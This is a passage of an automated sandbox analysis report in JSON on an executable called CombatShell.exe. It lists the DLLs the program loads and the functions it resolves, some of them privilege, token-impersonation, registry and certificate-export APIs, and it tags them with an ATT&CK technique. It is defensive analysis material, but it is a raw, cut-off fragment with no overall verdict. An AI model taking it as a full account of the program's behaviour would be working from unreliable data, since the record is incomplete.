00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter user32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter shcore.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter ntdll.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter uxtheme.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter opengl32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter vm3dgl64.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter vm3dglhelper64.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter kernel32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter gdi32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-winrt-error-l1-1-0.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter oleaut32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter advapi32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter crypt32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter ncrypt.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter ole32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter secur32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter shell32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter userenv.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter ws2_32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter bcryptprimitives.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter KERNEL32.dll (UID: 00000000-00005644)"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" called \"LoadLibrary\" with a parameter msvcrt.dll (UID: 00000000-00005644)"}],"origin":"API Call","attck_id":"T1129","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1129","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-176","type":6,"relevance":1,"name":"Calls an API typically used to retrieve function addresses","description":"$35","description_v2":["\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlsAlloc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlsSetValue (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlsGetValue (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LCMapStringEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlsFree (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitOnceExecuteOnce (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateEventExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateSemaphoreW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateSemaphoreExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolTimer (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetThreadpoolTimer (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolTimer (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolWait (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetThreadpoolWait (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolWait (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateSymbolicLinkW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetCurrentPackageId (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTickCount64 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetFileInformationByHandle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeConditionVariable (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WakeConditionVariable (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WakeAllConditionVariable (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SleepConditionVariableCS (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter InitializeSRWLock (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SleepConditionVariableSRW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateThreadpoolWork (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SubmitThreadpoolWork (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseThreadpoolWork (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CompareStringEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetLocaleInfoEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AreFileApisANSI (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlGetVersion (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CoCreateInstance (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CoCreateInstanceEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CoGetClassObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetThreadDescription (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetProcessDpiAwarenessContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDpiForMonitor (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDpiForWindow (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetWindowCompositionAttribute (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter EnableNonClientDpiScaling (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AdjustWindowRectExForDpi (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AcquireSRWLockShared (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ReleaseSRWLockShared (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter IsWow64Process (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvValidateVersion (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSetCallbackProcs (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvCreateContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvDeleteContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSetContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvReleaseContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvCopyContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WaitOnAddress (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvCreateLayerContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter WakeByAddressSingle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvShareLists (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvGetProcAddress (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvDescribeLayerPlane (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSetLayerPaletteEntries (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvGetLayerPaletteEntries (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvRealizeLayerPalette (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSwapLayerBuffers (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSwapMultipleBuffers (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvDescribePixelFormat (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSetPixelFormat (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvSwapBuffers (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DrvPresentBuffers (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperInit (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperCleanup (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperSetLogLevels (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperLog (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter VM3DGLHelperGetDevCapMaxCount (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter IsWow64Process2 (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateAllocation (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyAllocation (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetAllocationPriority (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTQueryAllocationResidency (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTQueryResourceInfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTOpenResource (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateDevice (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyDevice (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTQueryAdapterInfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTLock (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTUnlock (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetDisplayModeList (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetDisplayMode (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetMultisampleMethodList (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTPresent (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTRender (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTOpenAdapterFromHdc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTOpenAdapterFromDeviceName (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCloseAdapter (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetSharedPrimaryHandle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTEscape (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetVidPnSourceOwner (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateOverlay (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTUpdateOverlay (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTFlipOverlay (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyOverlay (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTWaitForVerticalBlankEvent (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetGammaRamp (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetDeviceState (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateDCFromMemory (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyDCFromMemory (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetContextSchedulingPriority (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetContextSchedulingPriority (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetProcessSchedulingPriorityClass (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetProcessSchedulingPriorityClass (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTReleaseProcessVidPnSourceOwners (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTGetScanLine (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTPollDisplayChildren (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetQueuedLimit (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTInvalidateActiveVidPn (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCheckOcclusion (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroyContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCreateSynchronizationObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTDestroySynchronizationObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTWaitForSynchronizationObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSignalSynchronizationObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCheckMonitorPowerState (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTOpenAdapterFromGdiDisplayName (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTCheckExclusiveOwnership (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSetDisplayPrivateDriverFormat (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSharedPrimaryLockNotification (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter D3DKMTSharedPrimaryUnLockNotification (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter wglCreateContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter wglDeleteContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter glCopyBufferSubDataNV (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter glGetnCompressedTexImage (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter glGetnTexImage (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter glGetnUniformdv (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter NtAllocateVirtualMemory (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RoOriginateErrorW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter FormatMessageW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetLastError (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter LoadLibraryExA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetErrorInfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SetErrorInfo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetProcessHeap (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapAlloc (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter HeapFree (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SysAllocStringLen (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SysFreeString (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter SysStringLen (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter __register_frame (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter __deregister_frame (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RtlAdjustPrivilege (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptAcquireContextW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptDestroyKey (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptImportKey (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptReleaseContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DuplicateToken (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetTokenInformation (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetUserNameW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ImpersonateAnonymousToken (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter OpenProcessToken (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegCloseKey (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegCreateKeyExA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegCreateKeyExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegEnumKeyExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegEnumValueW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegOpenKeyExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegQueryInfoKeyW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegQueryValueExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RegSetValueExA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter RevertToSelf (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertAddCertificateContextToStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertAddEncodedCTLToStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertAddEncodedCertificateToStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertCloseStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertCreateCTLEntryFromCertificateContextProperties (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertCreateCertificateContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertDeleteCertificateFromStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertDuplicateCertificateChain (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertDuplicateCertificateContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertDuplicateStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertEnumCertificatesInStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertFreeCTLContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertFreeCertificateChain (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertFreeCertificateContext (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertGetCertificateChain (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertGetCertificateContextProperty (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertGetEnhancedKeyUsage (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertOpenStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertSetCertificateContextProperty (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CertVerifyTimeValidity (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptAcquireCertificatePrivateKey (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptBinaryToStringA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptDecodeObjectEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptEncodeObjectEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptHashCertificate (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptMsgEncodeAndSignCTL (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CryptStringToBinaryA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter PFXExportCertStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter PFXImportCertStore (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateDCW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateDIBitmap (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteDC (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteObject (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDIBits (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetDeviceCaps (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter GetObjectW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter AddVectoredExceptionHandler (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CancelIo (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CancelIoEx (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CloseHandle (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CompareStringOrdinal (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter ConnectNamedPipe (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CopyFileExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateDirectoryW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateEventW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateFileA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateFileMappingA (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateFileMappingW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateFileW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateHardLinkW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateIoCompletionPort (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateMutexW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateNamedPipeW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreatePipe (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateProcessW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateThread (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter CreateWaitableTimerExW (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteCriticalSection (UID: 00000000-00005644)","\"CombatShell.exe\" called \"GetProcAddress\" with a parameter DeleteFileA (UID: 